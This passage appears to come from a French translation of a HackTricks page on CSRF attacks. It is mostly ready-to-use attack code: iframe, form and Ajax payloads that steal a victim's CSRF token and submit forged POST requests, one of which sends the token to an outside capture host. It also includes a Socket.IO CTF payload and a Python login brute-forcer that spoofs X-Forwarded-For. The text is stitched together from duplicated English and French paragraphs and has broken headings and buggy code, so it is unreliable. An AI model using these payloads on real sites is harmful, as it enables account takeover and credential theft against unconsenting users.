||
```
|
||
### **Vol de jeton CSRF et envoi d'une requête POST**
|
||
|
||
To perform a CSRF attack, the first step is to steal the CSRF token from the target website. This token is usually embedded in the HTML source code or stored in a cookie. Once the token is obtained, it can be used to craft a malicious POST request.
|
||
|
||
Pour effectuer une attaque CSRF, la première étape consiste à voler le jeton CSRF du site cible. Ce jeton est généralement intégré dans le code source HTML ou stocké dans un cookie. Une fois le jeton obtenu, il peut être utilisé pour créer une requête POST malveillante.
|
||
|
||
To send the POST request, an attacker can use various methods such as creating a hidden form on a malicious website or sending the request programmatically using scripting languages like JavaScript. The POST request should include all the necessary parameters and values required by the target website.
|
||
|
||
Pour envoyer la requête POST, un attaquant peut utiliser différentes méthodes telles que la création d'un formulaire caché sur un site malveillant ou l'envoi de la requête de manière programmée à l'aide de langages de script tels que JavaScript. La requête POST doit inclure tous les paramètres et valeurs nécessaires requis par le site cible.
|
||
|
||
Once the malicious POST request is sent, the target website will receive it and process it as a legitimate request since it contains the stolen CSRF token. This can lead to unauthorized actions being performed on behalf of the victim user, such as changing account settings, making purchases, or even deleting data.
|
||
|
||
Une fois la requête POST malveillante envoyée, le site cible la recevra et la traitera comme une requête légitime car elle contient le jeton CSRF volé. Cela peut entraîner l'exécution d'actions non autorisées au nom de l'utilisateur victime, telles que la modification des paramètres du compte, les achats ou même la suppression de données.
|
||
```javascript
|
||
function submitFormWithTokenJS(token) {
|
||
var xhr = new XMLHttpRequest();
|
||
xhr.open("POST", POST_URL, true);
|
||
xhr.withCredentials = true;
|
||
|
||
// Send the proper header information along with the request
|
||
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
|
||
|
||
// This is for debugging and can be removed
|
||
xhr.onreadystatechange = function() {
|
||
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
|
||
//console.log(xhr.responseText);
|
||
}
|
||
}
|
||
|
||
xhr.send("token=" + token + "&otherparama=heyyyy");
|
||
}
|
||
|
||
function getTokenJS() {
|
||
var xhr = new XMLHttpRequest();
|
||
// This tels it to return it as a HTML document
|
||
xhr.responseType = "document";
|
||
xhr.withCredentials = true;
|
||
// true on the end of here makes the call asynchronous
|
||
xhr.open("GET", GET_URL, true);
|
||
xhr.onload = function (e) {
|
||
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
|
||
// Get the document from the response
|
||
page = xhr.response
|
||
// Get the input element
|
||
input = page.getElementById("token");
|
||
// Show the token
|
||
//console.log("The token is: " + input.value);
|
||
// Use the token to submit the form
|
||
submitFormWithTokenJS(input.value);
|
||
}
|
||
};
|
||
// Make the request
|
||
xhr.send(null);
|
||
}
|
||
|
||
var GET_URL="http://google.com?param=VALUE"
|
||
var POST_URL="http://google.com?param=VALUE"
|
||
getTokenJS();
|
||
```
|
||
### **Vol de jeton CSRF et envoi d'une requête POST à l'aide d'un iframe, d'un formulaire et d'Ajax**
|
||
|
||
L'une des méthodes couramment utilisées pour exploiter une vulnérabilité de falsification de requête intersite (CSRF) consiste à voler le jeton CSRF d'un utilisateur légitime et à l'utiliser pour envoyer une requête POST malveillante. Cette attaque peut être réalisée en utilisant un iframe, un formulaire ou Ajax.
|
||
|
||
#### **1. Vol du jeton CSRF**
|
||
|
||
Pour voler le jeton CSRF, l'attaquant peut utiliser différentes techniques, telles que l'inclusion d'un lien malveillant dans un e-mail ou une page Web, ou l'exploitation d'une vulnérabilité de script intersite (XSS) pour extraire le jeton à partir de la page Web.
|
||
|
||
#### **2. Envoi d'une requête POST avec un iframe**
|
||
|
||
Une fois que l'attaquant a réussi à voler le jeton CSRF, il peut l'utiliser pour envoyer une requête POST malveillante en utilisant un iframe. L'attaquant crée un iframe invisible dans une page Web et définit l'URL de la cible comme la cible de l'action du formulaire. Ensuite, l'attaquant utilise JavaScript pour remplir le formulaire avec les données nécessaires, y compris le jeton CSRF volé, et soumet le formulaire automatiquement.
|
||
|
||
```html
|
||
<iframe style="display:none" name="csrf-frame"></iframe>
|
||
<form action="https://www.example.com/target-page" method="POST" target="csrf-frame" id="csrf-form">
|
||
<input type="hidden" name="csrf_token" value="TOKEN_VALUE">
|
||
<!-- Autres champs de formulaire nécessaires -->
|
||
</form>
|
||
<script>
|
||
document.getElementById('csrf-form').submit();
|
||
</script>
|
||
```
|
||
|
||
#### **3. Envoi d'une requête POST avec un formulaire**
|
||
|
||
Une autre méthode consiste à utiliser un formulaire pour envoyer la requête POST malveillante. L'attaquant crée un formulaire caché dans une page Web et définit l'URL de la cible comme la cible de l'action du formulaire. Ensuite, l'attaquant utilise JavaScript pour remplir le formulaire avec les données nécessaires, y compris le jeton CSRF volé, et soumet le formulaire automatiquement.
|
||
|
||
```html
|
||
<form action="https://www.example.com/target-page" method="POST" id="csrf-form">
|
||
<input type="hidden" name="csrf_token" value="TOKEN_VALUE">
|
||
<!-- Autres champs de formulaire nécessaires -->
|
||
</form>
|
||
<script>
|
||
document.getElementById('csrf-form').submit();
|
||
</script>
|
||
```
|
||
|
||
#### **4. Envoi d'une requête POST avec Ajax**
|
||
|
||
Enfin, l'attaquant peut utiliser Ajax pour envoyer la requête POST malveillante. L'attaquant crée une requête Ajax en utilisant JavaScript et définit l'URL de la cible, les données à envoyer (y compris le jeton CSRF volé) et la méthode POST. Ensuite, l'attaquant envoie la requête Ajax pour exécuter l'attaque CSRF.
|
||
|
||
```javascript
|
||
var xhr = new XMLHttpRequest();
|
||
xhr.open('POST', 'https://www.example.com/target-page', true);
|
||
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
|
||
xhr.send('csrf_token=TOKEN_VALUE&other_data=DATA_VALUE');
|
||
```
|
||
|
||
Il est important de noter que ces méthodes d'attaque CSRF peuvent être détectées et prévenues en utilisant des techniques de défense appropriées, telles que l'utilisation de jetons CSRF avec des durées de validité courtes, la vérification de l'en-tête Referer, l'utilisation de cookies sécurisés et l'implémentation de mécanismes de confirmation de l'action de l'utilisateur.
|
||
```markup
|
||
<form id="form1" action="http://google.com?param=VALUE" method="post" enctype="multipart/form-data">
|
||
<input type="text" name="username" value="AA">
|
||
<input type="checkbox" name="status" checked="checked">
|
||
<input id="token" type="hidden" name="token" value="" />
|
||
</form>
|
||
|
||
<script type="text/javascript">
|
||
function f1(){
|
||
x1=document.getElementById("i1");
|
||
x1d=(x1.contentWindow||x1.contentDocument);
|
||
t=x1d.document.getElementById("token").value;
|
||
|
||
document.getElementById("token").value=t;
|
||
document.getElementById("form1").submit();
|
||
}
|
||
</script>
|
||
<iframe id="i1" style="display:none" src="http://google.com?param=VALUE" onload="javascript:f1();"></iframe>
|
||
```
|
||
### **Vol de jeton CSRF et envoi d'une requête POST à l'aide d'un iframe et d'un formulaire**
|
||
|
||
To perform a Cross-Site Request Forgery (CSRF) attack, an attacker needs to steal the victim's CSRF token and use it to send unauthorized requests on behalf of the victim. One way to achieve this is by using an iframe and a form.
|
||
|
||
Pour effectuer une attaque de falsification de requête entre sites (CSRF), un attaquant doit voler le jeton CSRF de la victime et l'utiliser pour envoyer des requêtes non autorisées au nom de la victime. Une façon d'y parvenir est d'utiliser un iframe et un formulaire.
|
||
|
||
1. The attacker creates a malicious webpage that contains an iframe pointing to the target website.
|
||
|
||
L'attaquant crée une page web malveillante contenant un iframe pointant vers le site cible.
|
||
|
||
```html
|
||
<iframe src="https://www.target-website.com"></iframe>
|
||
```
|
||
|
||
2. The attacker also includes a hidden form in the malicious webpage with the target website's URL as the form's action and method set to POST.
|
||
|
||
L'attaquant inclut également un formulaire caché dans la page web malveillante, avec l'URL du site cible comme action du formulaire et la méthode définie sur POST.
|
||
|
||
```html
|
||
<form action="https://www.target-website.com" method="POST">
|
||
<!-- CSRF token field -->
|
||
<input type="hidden" name="csrf_token" value="stolen_token">
|
||
<!-- Other form fields -->
|
||
<input type="text" name="username" value="attacker">
|
||
<input type="password" name="password" value="password123">
|
||
<!-- Submit button -->
|
||
<input type="submit" value="Submit">
|
||
</form>
|
||
```
|
||
|
||
3. When the victim visits the malicious webpage, the iframe loads the target website in the background, and the hidden form is automatically submitted.
|
||
|
||
Lorsque la victime visite la page web malveillante, l'iframe charge le site cible en arrière-plan et le formulaire caché est automatiquement soumis.
|
||
|
||
4. Since the victim is already authenticated on the target website, the CSRF token is included in their session. The stolen CSRF token is then sent along with the form data in the POST request.
|
||
|
||
Étant donné que la victime est déjà authentifiée sur le site cible, le jeton CSRF est inclus dans sa session. Le jeton CSRF volé est ensuite envoyé avec les données du formulaire dans la requête POST.
|
||
|
||
5. The target website receives the POST request and processes it as if it came from the victim, performing any actions specified in the form.
|
||
|
||
Le site cible reçoit la requête POST et la traite comme si elle provenait de la victime, effectuant toutes les actions spécifiées dans le formulaire.
|
||
|
||
By using an iframe and a hidden form, the attacker can trick the victim's browser into sending unauthorized requests, potentially leading to account compromise or other malicious activities.
|
||
|
||
En utilisant un iframe et un formulaire caché, l'attaquant peut tromper le navigateur de la victime pour qu'il envoie des requêtes non autorisées, ce qui peut entraîner une compromission du compte ou d'autres activités malveillantes.
|
||
```markup
|
||
<iframe id="iframe" src="http://google.com?param=VALUE" width="500" height="500" onload="read()"></iframe>
|
||
|
||
<script>
|
||
function read()
|
||
{
|
||
var name = 'admin2';
|
||
var token = document.getElementById("iframe").contentDocument.forms[0].token.value;
|
||
document.writeln('<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php" enctype="multipart/form-data">');
|
||
document.writeln('<input id="username" type="text" name="username" value="' + name + '" /><br />');
|
||
document.writeln('<input id="token" type="hidden" name="token" value="' + token + '" />');
|
||
document.writeln('<input type="submit" name="submit" value="Submit" /><br/>');
|
||
document.writeln('</form>');
|
||
document.forms[0].submit.click();
|
||
}
|
||
</script>
|
||
```
|
||
### **Vol de jeton et envoi via 2 iframes**
|
||
|
||
To perform a Cross-Site Request Forgery (CSRF) attack, one common technique is to steal the victim's authentication token and send it using two iframes. This attack can be executed by injecting malicious code into a vulnerable website.
|
||
|
||
Here's how the attack works:
|
||
|
||
1. The attacker creates a malicious website that contains two hidden iframes.
|
||
2. The first iframe is loaded with the target website's login page.
|
||
3. The second iframe is loaded with a page on the attacker's website that contains JavaScript code to steal the authentication token.
|
||
4. When the victim visits the malicious website, the first iframe automatically submits the login form using JavaScript, tricking the victim into logging in.
|
||
5. As the victim logs in, the second iframe captures the authentication token from the response.
|
||
6. The stolen token is then sent to the attacker's server using an HTTP request.
|
||
|
||
By stealing the victim's authentication token, the attacker can impersonate the victim and perform actions on their behalf without their knowledge or consent. This can lead to unauthorized access, data manipulation, or other malicious activities.
|
||
|
||
To protect against CSRF attacks, web developers should implement measures such as using anti-CSRF tokens, validating the origin of requests, and implementing strict access controls. Additionally, users should be cautious when visiting unfamiliar websites and regularly update their passwords to minimize the risk of token theft.
|
||
```markup
|
||
<script>
|
||
var token;
|
||
function readframe1(){
|
||
token = frame1.document.getElementById("profile").token.value;
|
||
document.getElementById("bypass").token.value = token
|
||
loadframe2();
|
||
}
|
||
function loadframe2(){
|
||
var test = document.getElementbyId("frame2");
|
||
test.src = "http://requestb.in/1g6asbg1?token="+token;
|
||
}
|
||
</script>
|
||
|
||
<iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()"
|
||
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
|
||
height="600" width="800"></iframe>
|
||
|
||
<iframe id="frame2" name="frame2"
|
||
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
|
||
height="600" width="800"></iframe>
|
||
<body onload="document.forms[0].submit()">
|
||
<form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">
|
||
<input type="text" name="username" value="z">
|
||
<input type="checkbox" name="status" checked="">
|
||
<input id="token" type="hidden" name="token" value="0000" />
|
||
<button type="submit">Submit</button>
|
||
</form>
|
||
```
|
||
### **POSTVoler le jeton CSRF avec Ajax et envoyer une requête POST avec un formulaire**
|
||
|
||
To perform a Cross-Site Request Forgery (CSRF) attack, an attacker needs to steal the CSRF token from the target website and then use it to send malicious requests on behalf of the victim. One way to achieve this is by using Ajax to steal the token and then sending a POST request using a form.
|
||
|
||
Here's how the attack can be carried out:
|
||
|
||
1. The attacker creates a malicious webpage that contains JavaScript code to perform the CSRF attack.
|
||
2. The attacker embeds an invisible iframe on the malicious webpage, pointing to the target website's login page.
|
||
3. The attacker's JavaScript code in the malicious webpage uses Ajax to make a GET request to the target website's login page, retrieving the CSRF token from the response.
|
||
4. Once the CSRF token is obtained, the attacker's JavaScript code can populate a hidden form with the necessary data for the malicious request.
|
||
5. The attacker's JavaScript code then submits the form using a POST request, including the stolen CSRF token in the request headers or body.
|
||
6. The target website, considering the request as legitimate due to the presence of the valid CSRF token, processes the malicious request on behalf of the victim.
|
||
|
||
By using this technique, an attacker can trick the target website into performing actions on behalf of the victim without their knowledge or consent. It is important for web developers to implement proper CSRF protection mechanisms, such as using unique and unpredictable CSRF tokens, to mitigate this type of attack.
|
||
```markup
|
||
<body onload="getData()">
|
||
|
||
<form id="form" action="http://google.com?param=VALUE" method="POST" enctype="multipart/form-data">
|
||
<input type="hidden" name="username" value="root"/>
|
||
<input type="hidden" name="status" value="on"/>
|
||
<input type="hidden" id="findtoken" name="token" value=""/>
|
||
<input type="submit" value="valider"/>
|
||
</form>
|
||
|
||
<script>
|
||
var x = new XMLHttpRequest();
|
||
function getData() {
|
||
x.withCredentials = true;
|
||
x.open("GET","http://google.com?param=VALUE",true);
|
||
x.send(null);
|
||
}
|
||
x.onreadystatechange = function() {
|
||
if (x.readyState == XMLHttpRequest.DONE) {
|
||
var token = x.responseText.match(/name="token" value="(.+)"/)[1];
|
||
document.getElementById("findtoken").value = token;
|
||
document.getElementById("form").submit();
|
||
}
|
||
}
|
||
</script>
|
||
```
|
||
### CSRF avec Socket.IO
|
||
|
||
Socket.IO est une bibliothèque JavaScript qui permet la communication en temps réel entre le serveur et le client. Lorsqu'il est utilisé de manière incorrecte, Socket.IO peut être vulnérable à une attaque de falsification de requête intersite (CSRF).
|
||
|
||
#### Qu'est-ce que le CSRF ?
|
||
|
||
La falsification de requête intersite (CSRF) est une attaque qui exploite la confiance d'un site web dans les requêtes émises par un utilisateur authentifié. L'attaque se produit lorsque le site web ne vérifie pas l'origine de la requête, permettant ainsi à un attaquant de forger une requête en utilisant les informations d'authentification de l'utilisateur.
|
||
|
||
#### Exploiter le CSRF avec Socket.IO
|
||
|
||
Pour exploiter le CSRF avec Socket.IO, l'attaquant doit d'abord trouver un point d'injection de code JavaScript sur le site cible. Cela peut être réalisé en exploitant des vulnérabilités telles que les injections de script ou les failles XSS.
|
||
|
||
Une fois qu'un point d'injection de code JavaScript est trouvé, l'attaquant peut utiliser Socket.IO pour envoyer des requêtes falsifiées au serveur. Ces requêtes peuvent inclure des actions malveillantes telles que la modification des données de l'utilisateur, l'ajout d'un nouvel utilisateur ou la suppression de données sensibles.
|
||
|
||
#### Prévention du CSRF avec Socket.IO
|
||
|
||
Pour prévenir les attaques CSRF avec Socket.IO, il est essentiel de mettre en place des mesures de sécurité appropriées. Voici quelques bonnes pratiques à suivre :
|
||
|
||
1. Utilisez des jetons anti-CSRF : Générez et utilisez des jetons anti-CSRF uniques pour chaque utilisateur et chaque session. Ces jetons doivent être inclus dans les requêtes Socket.IO et vérifiés côté serveur pour s'assurer de leur validité.
|
||
|
||
2. Vérifiez l'origine des requêtes : Assurez-vous que les requêtes Socket.IO proviennent bien du site web autorisé. Vous pouvez le faire en vérifiant l'en-tête d'origine (Origin) ou en utilisant des mécanismes de vérification d'origine personnalisés.
|
||
|
||
3. Utilisez des cookies sécurisés : Configurez vos cookies pour qu'ils soient sécurisés et marqués comme SameSite=Strict. Cela empêchera les cookies d'être envoyés lors de requêtes provenant d'un autre site.
|
||
|
||
4. Évitez les injections de script et les failles XSS : Assurez-vous que votre application est sécurisée contre les injections de script et les failles XSS en utilisant des techniques telles que l'échappement des caractères spéciaux et la validation des entrées utilisateur.
|
||
|
||
En suivant ces bonnes pratiques, vous pouvez renforcer la sécurité de votre application Socket.IO et prévenir les attaques CSRF.
|
||
```markup
|
||
<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
|
||
<script>
|
||
let socket = io('http://six.jh2i.com:50022/test');
|
||
|
||
const username = 'admin'
|
||
|
||
socket.on('connect', () => {
|
||
console.log('connected!');
|
||
socket.emit('join', {
|
||
room: username
|
||
});
|
||
socket.emit('my_room_event', {
|
||
data: '!flag',
|
||
room: username
|
||
})
|
||
|
||
});
|
||
</script>
|
||
```
|
||
## CSRF Brute Force de Connexion
|
||
|
||
Le code peut être utilisé pour effectuer une attaque de force brute sur un formulaire de connexion en utilisant un jeton CSRF (il utilise également l'en-tête X-Forwarded-For pour tenter de contourner un éventuel blocage d'adresse IP) :
|
||
```python
|
||
import request
|
||
import re
|
||
import random
|
||
|
||
URL = "http://10.10.10.191/admin/"
|
||
PROXY = { "http": "127.0.0.1:8080"}
|
||
SESSION_COOKIE_NAME = "BLUDIT-KEY"
|
||
USER = "fergus"
|
||
PASS_LIST="./words"
|
||
|
||
def init_session():
|
||
#Return CSRF + Session (cookie)
|
||
r = requests.get(URL)
|
||
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
|
||
csrf = csrf.group(1)
|
||
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
|
||
return csrf, session_cookie
|
||
|
||
def login(user, password):
|
||
print(f"{user}:{password}")
|
||
csrf, cookie = init_session()
|
||
cookies = {SESSION_COOKIE_NAME: cookie}
|
||
data = {
|
||
"tokenCSRF": csrf,
|
||
"username": user,
|
||
"password": password,
|
||
"save": ""
|
||
}
|
||
headers = {
|
||
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
|
||
}
|
||
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
|
||
if "Username or password incorrect" in r.text:
|
||
return False
|
||
else:
|
||
print(f"FOUND {user} : {password}")
|
||
return True
|
||
|
||
with open(PASS_LIST, "r") as f:
|
||
for line in f:
|
||
login(USER, line.strip())
|
||
```
|
||
## Outils <a href="#outils" id="outils"></a>
|
||
|
||
* [https://github.com/0xInfection/XSRFProbe](https://github.com/0xInfection/XSRFProbe)
|
||
* [https://github.com/merttasci/csrf-poc-generator](https://github.com/merttasci/csrf-poc-generator)
|
||
|
||
## Références
|
||
|
||
* [https://portswigger.net/web-security/csrf](https://portswigger.net/web-security/csrf)
|
||
* [https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html](https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html)
|
||
|
||
|
||
|
||
<figure><img src="../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
**HackenProof est la plateforme des primes pour les bugs de cryptographie.**
|
||
|
||
**Obtenez des récompenses sans délai**\
|
||
Les primes HackenProof sont lancées uniquement lorsque les clients déposent le budget de récompense. Vous recevrez la récompense après la vérification du bug.
|
||
|
||
**Acquérez de l'expérience en pentesting web3**\
|
||
Les protocoles blockchain et les contrats intelligents sont le nouvel Internet ! Maîtrisez la sécurité web3 dès ses débuts.
|
||
|
||
**Devenez une légende du hacking web3**\
|
||
Gagnez des points de réputation avec chaque bug vérifié et conquérez le sommet du classement hebdomadaire.
|
||
|
||
[**Inscrivez-vous sur HackenProof**](https://hackenproof.com/register) et commencez à gagner grâce à vos hacks !
|
||
|
||
{% embed url="https://hackenproof.com/register" %}
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* Vous travaillez dans une **entreprise de cybersécurité** ? Vous souhaitez voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
||
</details>
|